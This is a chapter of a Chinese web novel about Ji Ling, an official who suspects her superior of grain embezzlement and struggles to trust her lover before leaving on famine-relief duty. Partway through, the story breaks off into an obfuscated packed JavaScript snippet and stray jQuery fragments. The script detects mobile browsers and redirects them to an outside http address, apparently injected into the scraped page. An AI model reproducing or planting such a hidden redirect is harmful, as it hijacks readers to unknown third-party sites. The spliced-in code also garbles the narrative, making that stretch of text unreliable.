季泠还未来得及将湖广粮仓中的空缺补上时，湖广布政使急报入京，湖广大旱。


    朝廷必须立刻派人作为先锋，去湖广料理赈灾一事，兼以安抚民心。


    与昔日季泠跪求应惟绅不同，此番，她坐在户部衙门内，应惟绅派人来通知她，三日后即刻动身，前往湖广。


    季泠站起身，嗫嚅须臾，终于低下头，应下此事。


    她别无选择。


    几乎所有人都注意到季泠这段时间的变化。


    槐花在季春以初茂，践朱夏而乃繁。


    季泠的变化，亦是如此。


    一个月来，季泠不苟言笑，气性全消，近日所见，更是形神顿惫。


    祝扶春听闻了赈灾官员名单，立刻前来找她，却见季泠呆坐在书案前，脸色苍白，几欲失魂。


    “执庸？你怎么了？”


    季泠抬头看向他，牵强笑笑：“没事，累了而已。”


    祝扶春拉过一张杌子坐到她身边：“你近日状态不佳，是不是出什么事了？此次赈灾，你只身前去……”


    “我近日状态不佳吗？”


    “何止不佳，你看看你，从早到晚地坐在公案前，既不站起身活动一二，膳时也不进食，你要成仙吗？”


    季泠被他逗笑了：“你不是不知道，闫有德一走，给我留了这么大一个烂摊子，实在难以收拾。也罢，去一趟湖广也好，权当散心了。”


    祝扶春不得不出言提醒她：“赈灾与你去西北不一样，不是那么轻松的。你知道，水旱灾害，会出现什么情况吗？”


    季泠闭眼，点了点头：“你给我的救灾治疏中，都有，我知道。”


    “这次所去官员，几乎与你都不相熟，你一个女子，到那样的环境去，我实在担心。”


    季泠笑笑，拍拍他的手：“还行，时迁不是也去吗？女子男子的，也无关紧要，只要没人捅破就行。我只是怕……”


    “怕什么？”


    季泠敛目，眉头耷拉着，低声喃喃：“没什么。”


    回到浮云堂，季泠再次翻开这段时日陆续从陕西来的信，密匝匝铺了一地，季泠坐在其中，神色倦怠。


    楼饮晴的第一封信，来得实在及时。她们前脚刚想查漕船之故，翌日，楼饮晴就告知她，近日陕西多家大商号的粮仓爆满，聘了许多伙夫去搬运，开出的工钱极其丰厚，她手下的管事都听说了。


    突如其来的粮食，还能从何而来，她一想便知。


    闫有德背后的人，户部高官，陕西，她当即就想到一个她此生绝不可能怀疑的人。


    应惟绅。


    徐行说过，她生辰前后，正是陕西石榴丰收的季节，每年，应少爷都会给徐行送很多陕西石榴。


    她说她从未吃过石榴，徐行说，等八月应家祖家送来石榴，他便替她留下一筐，为她庆生。


    借着商贸交集，楼饮晴替她继续探访，已然查明，那几家大商号，与应家沾亲带故，脱不了干系。


    根据楼饮晴的估计，所得出粮食数目，正是所沉漕粮之数。


    于此同时，一批陈粮被贱卖到南直隶各处不起眼的食肆饭馆中。


    如此一来，桩桩件件，便已然清晰。


    这一个月来，林微寸步不离地守着季泠，看着她从最初的崩溃无措，逐渐到如今水落石出、无可辩驳的绝望。


    “林微。”季泠瘫坐在地上，悲哀长叹，“我实在是太蠢了。前脚刚被闫有德算计，后脚又自己傻乎乎送上门去，将自己暴露在应惟绅面前。”


    “执庸，未必就是应大人，如今不过是我们的猜测，没有确凿证据……”


    季泠的指尖掠过满地信纸，沙沙作响，她几乎陷入这片残叶覆盖的泥沼之中。


    “确凿证据？我们还能得到吗？兴许，我没将那份呈详送到应惟绅面前之前，我们还有机会。可是现在，就算有证据，怕早已被清理干净了。”


    这件事情越拖越久，朝中的争议将要平息，待到她从湖广赈灾回来，估计此事就完全沉寂，那她再想揭案，难如登天。


    “难怪应惟绅不许我插手，还借此机会将我派去湖广。我总是一次又一次，轻信他人。迟早有一天，我死在自己手里。”


    “我们请公主介入此事，应惟绅的势力，难道会比公主更大吗？”


    季泠无力摇头：“若此事只在陕西，便也罢了。公主曾在南直隶理政多年，此事牵扯到南直隶，若是公主贸然插手，必然引起陛下猜忌。”


    “大人。”白芨站在书房外候命。


    “何事？进来吧”


    季泠与林微将满地信纸收起，白芨道：“徐大人派人说一会儿过来。”


    季泠手头一顿，冷下脸说：“叫他别来了。我今日疲乏，先睡下了。”


    林微待白芨退出之后，忧心地看着季泠：“执庸，这一个月，你都推脱不见徐大人，他会起疑的。”


    季泠怅然伏案，双眼痛极，终于阖上。


    “林微。”林微走到她身边，抚上她的脊背，支撑她的彷徨。


    “我很想信他，可是，太难了。我没想到，有朝一日，我竟然走到如此地步。连推脱的权利都没有，连在浮云堂里，我都要逢场作戏。”


    她感受到眼睛渐渐湿润起来，终于可以睁开眼，再去接收世界的黑暗了。


    季泠坐直身体，看向身侧的林微，一把抱住她。


    “你懂吗？林微。我曾经觉得，哪怕我有几分利用的价值，即使他位高权重，徐行也断不会真的一丝真情也无的，一定会留有几分余地，为了我。可真走到现在，甚至，还未踏出一步，我便已经怕得不行了。”


    林微看着她渐渐变红的眼眶，渐渐痛苦的神情，渐渐哽咽的嗓音，摸着她的头，轻声说：“我懂。”


    她怎么会不懂呢。齐家，学社，公主府，朝堂……真要论起来，参与她人生中的低谷与辉煌，又有谁，能胜她一筹呢？


    “林微。我现在，唯一能托付全部信任的，仅你一人了。”林微眸光微动，低头看向埋在她怀中的季泠，从来挡在她身前勇敢无畏的季泠，第一次，如此脆弱地索求她的温暖。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446336|185112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    是啊，她都快忘记了，她与季泠两人，她才是年长的姐姐。


    翌日入夜时分，季泠在值房中四处转着。


    兴许她这次去湖广后，回来就不在这处办公了。


    才享受了一个多月，她就如此时运不济地落入他人陷阱之中，甚至还沾沾自喜，实在蠢钝如猪。


    青帷马车停在浮云堂外，季泠脚步虚浮，走入书房，瘫坐在椅子上。看见林微走进时的表情，她便已经明白了。


    “徐大人派人来了是吗？”


    林微点头：“半个时辰后。”


    季泠一笑，无比苦涩。“我怎么这么失败啊，仕途和感情全都一团糟。”


    “你要不要试一试，将这件事告诉徐大人呢？他兴许并不知情。当日湖广账目有异，不就是他提醒你的吗？”


    “我也想，我也想出了事，第一个想到的就是他，就可以向他求助。若是，我只是个普通的姑娘，或是，他是一个普通的少爷，就好了。”


    他们这样的人，信任才是最难的。无条件的信任，更是天方夜谭。她是季执庸，有自己的身份要守护，有自己的利益要考量，自然，徐行也是。


    他们两个人绝不可能为彼此而放弃退让，这是他们的责任与宿命。


    “目前来看，他确实不知道。可我赌不起，若是他知道了，你觉得，他会选择谁？”


    选她，还是选应大人？以感情来看，兴许选她吧。


    但，她赌不起。


    “执庸…”


    “你看，你也迟疑了。若是，我们真的是敌人，那么，今日守在外院的那些侍卫，兴许明日，就要成为我们的刽子手了。”她还是轻率了啊，自己喜滋滋地请了一架悬颈铡刀回来，焉能想到如今会是这样的局面。


    “那你打算，怎么办？”


    季泠却沉默了。


    林微第一次看到，她六神无主的模样。往常，遇到再大的难题，再险的局势，她也只会挠头大叫几声，复又暗自鼓舞自己，再埋头想法子解决。


    可如今，她是真的不敢想，不敢做了。


    季泠深深闭眼，往后仰头，后颈别在官帽椅的木栏边，硌得她生疼。


    她又想到，之前徐行站在她身后，轻轻捏着她的脸，她一睁眼，就看见徐行倒着的脸，尽是外人不可窥见的温柔笑颜。这样的好日子，她才享受了三个月。


    她以为还有很久很久，所以过去她都没有好好珍惜。


    可她不是没见过徐行冷脸的样子。


    那年，在刑部大牢中，若是徐行给的判决没法让钱莘满意，若是她后来没有借那把火侥幸逃脱，她丝毫不怀疑，徐行会要了她的命。


    他的威胁，不必言语，她只看到他的眼神，他的嘴角，就已经心中有数了。徐行在大事上，十分果决，毫不手软。对她，一定也是。


    可她必须查下去。为了她的迢迢前路，为了她的芸芸众生。此次去湖广，她不仅要赈灾，她更要将此事查个水落石出。只有这样，她才能保住自己。


    她已经被逼进死路了。